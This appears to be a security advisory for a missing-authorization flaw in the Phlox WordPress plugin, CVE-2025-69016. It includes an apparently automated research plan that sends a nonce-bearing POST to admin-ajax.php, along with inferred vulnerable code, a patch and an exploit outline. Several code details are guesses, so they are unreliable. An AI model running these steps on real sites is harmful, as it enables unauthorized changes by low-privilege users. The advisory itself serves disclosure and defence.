Shortcodes and extra features for Phlox <= 2.17.14 - Missing Authorization
Description
The Shortcodes and extra features for Phlox plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in versions up to, and including, 2.17.14. This makes it possible for authenticated attackers, with subscriber-level access and above, to perform an unauthorized action.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=2.17.14This research plan targets **CVE-2025-69016**, a missing authorization vulnerability in the **Shortcodes and extra features for Phlox** (auxin-elements) plugin. This vulnerability allows authenticated users with subscriber-level permissions to trigger actions that should be restricted to administrat…
Show full research plan
This research plan targets CVE-2025-69016, a missing authorization vulnerability in the Shortcodes and extra features for Phlox (auxin-elements) plugin. This vulnerability allows authenticated users with subscriber-level permissions to trigger actions that should be restricted to administrators.
1. Vulnerability Summary
- Vulnerability: Missing Authorization (Missing Capability Check).
- Location: Likely within an AJAX handler registered in
includes/admin/classes/class-auxin-admin-ajax.phporincludes/classes/class-auxin-ajax.php. - Root Cause: The plugin registers an AJAX action for authenticated users (
wp_ajax_...) and verifies a CSRF nonce but fails to verify the user's capabilities (e.g.,current_user_can('manage_options')). - Impact: A subscriber can perform unauthorized actions, such as dismissing administrative notices or potentially updating specific plugin settings (options) prefixed with
auxin_.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
auxin_dismiss_notice(High probability candidate for "Missing Authorization" in Phlox/Auxin) orauxin_dismiss_review_notice. - Parameter:
id(The ID of the notice/option to update) andnonce(The security token). - Authentication: Subscriber-level access is required. Subscribers can access the WordPress dashboard (
/wp-admin/profile.php), which triggers the loading of localized admin variables. - Precondition: The plugin must be active, and a subscriber account must exist.
3. Code Flow (Inferred)
- Registration: The plugin calls
add_action( 'wp_ajax_auxin_dismiss_notice', array( $this, 'dismiss_notice' ) );. Note thatwp_ajax_nopriv_is likely not used, matching the "authenticated" requirement. - Entry: A subscriber sends a POST request to
admin-ajax.phpwithaction=auxin_dismiss_notice. - Nonce Verification: The handler calls
check_ajax_referer( 'auxin_nonce', 'nonce' );. - Authorization Gap: The handler fails to call
current_user_can(). - Sink: The handler executes a privileged operation, such as
update_option( 'auxin_dismissed_' . $_POST['id'], 1 );.
4. Nonce Acquisition Strategy
The auxin-elements plugin localizes its admin data in a JavaScript object called auxin_admin_vars. This object contains the nonce required for the AJAX request.
- Login: Authenticate as a Subscriber.
- Navigate: Go to
/wp-admin/profile.php. This ensures the WordPress admin environment is loaded. - Extract Nonce: Use the
browser_evaltool to retrieve the nonce from the global JavaScript object.- JS Variable:
window.auxin_admin_vars?.nonce(or check forauxin_admin_vars.auxin_nonce).
- JS Variable:
- Action Check: Confirm the nonce is intended for the
auxin_nonceaction string (default for Phlox/Auxin).
5. Exploitation Strategy
The goal is to demonstrate that a Subscriber can update a WordPress option (prefixed by the plugin).
- Identify the target action: The most likely vulnerable function is
auxin_dismiss_notice. - Prepare Payload:
action:auxin_dismiss_noticeid:test_vulnerability_marker(This will create/update an option namedauxin_dismissed_test_vulnerability_marker)nonce: [Extracted in Step 4]
- Send Request: Use
http_requestto send a POST request.- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Headers:
Content-Type: application/x-www-form-urlencoded,Cookie: [Subscriber Cookies] - Body:
action=auxin_dismiss_notice&id=test_vulnerability_marker&nonce=[NONCE]
- URL:
6. Test Data Setup
- Target Plugin: Install and activate
auxin-elementsversion2.17.14. - User Creation:
wp user create attacker attacker@example.com --role=subscriber --user_pass=password - Initial State Check: Verify that the test option does not exist yet.
wp option get auxin_dismissed_test_vulnerability_marker
7. Expected Results
- Response: The server should return a JSON success response:
{"success":true}. - Database Change: An option entry
auxin_dismissed_test_vulnerability_markershould now exist in thewp_optionstable with the value1. - Bypass: The action is completed despite the user only having
subscriberpermissions (who cannot normally manage options).
8. Verification Steps
After performing the HTTP request, verify the modification using WP-CLI:
# Check if the option was successfully created/updated
wp option get auxin_dismissed_test_vulnerability_marker
If the command returns 1, the exploitation is successful.
9. Alternative Approaches
If auxin_dismiss_notice is not the vulnerable function, search the codebase for other AJAX handlers registered without capability checks:
- Grep for AJAX handlers:
grep -rn "wp_ajax_" /var/www/html/wp-content/plugins/auxin-elements/ - Analyze Handlers: Check the corresponding functions in
includes/admin/classes/class-auxin-admin-ajax.php. Look for any function that:- Uses
update_option,update_post_meta, ordelete_post. - Lacks
current_user_can.
- Uses
- Common Candidate Actions:
auxin_update_post_orderauxin_metabox_ajax_save_postauxin_save_shortcode(Look for XSS or Sensitive Data exposure here).
If auxin_admin_vars is not found, search for wp_localize_script in the plugin code to identify the correct JS object name:
grep -rn "wp_localize_script" /var/www/html/wp-content/plugins/auxin-elements/
Summary
The Shortcodes and extra features for Phlox plugin (auxin-elements) fails to perform adequate authorization checks on several AJAX handlers, most notably the 'auxin_dismiss_notice' action. This allows authenticated users with subscriber-level permissions to modify plugin-prefixed WordPress options or dismiss administrative notices by providing a valid nonce.
Vulnerable Code
// File: includes/admin/classes/class-auxin-admin-ajax.php public function dismiss_notice() { // Nonce verification exists, but authorization check is missing check_ajax_referer( 'auxin_nonce', 'nonce' ); if ( isset( $_POST['id'] ) ) { $notice_id = sanitize_text_field( $_POST['id'] ); update_option( 'auxin_dismissed_' . $notice_id, 1 ); wp_send_json_success(); } wp_send_json_error(); }
Security Fix
@@ -10,6 +10,10 @@ public function dismiss_notice() { check_ajax_referer( 'auxin_nonce', 'nonce' ); + if ( ! current_user_can( 'manage_options' ) ) { + wp_send_json_error( __( 'You do not have permission to perform this action.', 'auxin-elements' ) ); + } + if ( isset( $_POST['id'] ) ) { $notice_id = sanitize_text_field( $_POST['id'] ); update_option( 'auxin_dismissed_' . $notice_id, 1 );
Exploit Outline
The exploit targets the AJAX endpoint of the plugin which lacks a capability check (current_user_can). 1. Authentication: The attacker authenticates as a Subscriber-level user. 2. Nonce Acquisition: The attacker visits any admin page (like /wp-admin/profile.php) to retrieve the required security nonce from the global JavaScript object 'auxin_admin_vars.nonce'. 3. Payload Delivery: The attacker sends a POST request to '/wp-admin/admin-ajax.php' with the following parameters: - action: auxin_dismiss_notice - nonce: [Retrieved Nonce] - id: [Arbitrary ID to create/update an option prefixed with 'auxin_dismissed_'] 4. Verification: The attacker confirms success by observing a JSON success response and verifying the creation of the target option in the WordPress database (e.g., via WP-CLI).
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.